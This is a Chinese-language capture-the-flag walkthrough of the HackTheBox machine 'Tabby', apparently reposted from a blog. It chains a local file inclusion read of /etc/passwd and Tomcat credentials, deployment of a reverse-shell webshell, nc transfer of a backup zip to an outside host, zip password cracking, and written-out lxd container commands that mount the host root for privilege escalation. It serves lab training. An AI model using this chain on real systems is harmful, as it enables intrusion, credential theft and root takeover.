Linux/Tabby

Linux/Tabby_第1张图片

Enumeration

nmap

已知目标开放了22,80,8080端口,扫描详细情况如下

Linux/Tabby_第2张图片

TCP/80

显示80和8080分别是Apache和Tomcat,而22是ssh,Apache页面如下

Linux/Tabby_第3张图片

页面上有些链接指向http://megahosting.htb/news.php?file=statement,因为无 法进行域名解析,因此出现错误

Linux/Tabby_第4张图片

在/etc/hosts文件中添加10.10.10.194 megahosting.htb

Linux/Tabby_第5张图片

之后,可以看到两句话,从url看那两句话是从statement文件中来的,测试是否存在本地文件包含漏洞

Linux/Tabby_第6张图片

验证确实存在文件包含漏洞,读取了/etc/passwd文件,并且发现了一个id为 1000的用户ash

Linux/Tabby_第7张图片

TCP/8080

Linux/Tabby_第8张图片

点击接口,发现了manager目录,这时Tomcat的管理页面,但是需要认证

Linux/Tabby_第9张图片

点击cancel取消登录,会收到401,提示凭据在/conf/tomcat-users.xml中

Linux/Tabby_第10张图片

而在刚开始,8080端口展示的首页上,可以发现tomcat的安装路径,即/usr/ share/tomcat9

因为刚才存在文件包含漏洞,所以可以查看对应的配置文件,但是执行后却发 现什么都没有

Linux/Tabby_第11张图片

尝试搜索tomcat9还有什么其他的目录,有可能该xml文件放在其他路径下,在 网上搜索发现了一个新的目录

Linux/Tabby_第12张图片

然后利用文件包含漏洞,得到了一组用户名和密码tomcat:$3cureP4s5w0rd123!

Linux/Tabby_第13张图片

根据后面的roles可知,仅允许admin-gui,manager-script,也就是说无法访问管理器webapp

Linux/Tabby_第14张图片

根据提示,尝试扫描web目录,使用dirsearch发现了以下几个目录

Linux/Tabby_第15张图片

在google搜索tomcat9 /manager/text,返回了一个tomcat的官方操作文档,显示 可以操作一些命令

Linux/Tabby_第16张图片

尝试用以上命令查看tomcat上的可用虚拟主机,可以看到命令确实起作用了

Linux/Tabby_第17张图片

继续搜索能否使用text接口来部署webshell,还是在官方操作文档中,可以找到 对应方法,先生成payloads

生成payloads的指令在reverse shell generator

然后使用下面的命令部署webshell

Linux/Tabby_第18张图片

之后用nc开启监听,然后访问http://10.10.10.194:8080/vegetable,即可获取 shell,然后在生成一个交互式shell

Linux/Tabby_第19张图片

Lateral Movement

也是因为题目问到了16162020_backup.zip的密码,然后确实在/var/www/html/ files中发现了这个压缩包

Linux/Tabby_第20张图片

使用nc将该zip文件传送至本地,先计算md5的hash和,然后传送文件 nc -nv 10.10.14.13 1234 < 16162020_backup.zip

Linux/Tabby_第21张图片

同时在本地开启监听,接收文件,并计算hash和,确保两个hash和是相同的 nc -nvlp 1234 > 16162020_backup.zip

Linux/Tabby_第22张图片

然后使用fcrackzip破解得到压缩文件的密码

Linux/Tabby_第23张图片

可以看到该zip文件属于ash用户,考虑压缩包密码复用

Linux/Tabby_第24张图片

尝试用该密码切换用户ash

Linux/Tabby_第25张图片

Privilege Escalation

运行id命令发现用户组中有一个lxd

lxd(Linux Daemon)是一个系统容器管理器,控制 lxc(Linux Container)。 Linux 容器 (LXC) 是一种使用单个 Linux 内核运行隔离容器的虚拟化技术。用户 ash可以创建一个特权容器,然后使用它来挂载主机文件系统。

Linux/Tabby_第26张图片

查看发现系统并不存在任何容器

Linux/Tabby_第27张图片

因此可以现在本地构建Alpine镜像,然后上传至目标,参考https://github.com/ saghul/lxd-alpine-builder,下载好按照说明做就行了

将.tar.gz包上传至目标,使用python开启http服务并下载

Linux/Tabby_第28张图片

首先需要运行lxd init,所有选项都选择默认

Linux/Tabby_第29张图片

检查镜像列表

按照下面的指令执行,先创建容器,挂载root目录,然后启动容器

lxc init alpine mycontainer -c security.privileged=true

lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

lxc start mycontainer

执行完指令后,可以检查看看容器是否正在运行

容器运行成功,接着就可以访问它 lxc exec mycontainer /bin/sh

我们可以查看root.txt

Linux/Tabby_第30张图片

你可能感兴趣的:(HackTheBox,网络安全,web安全)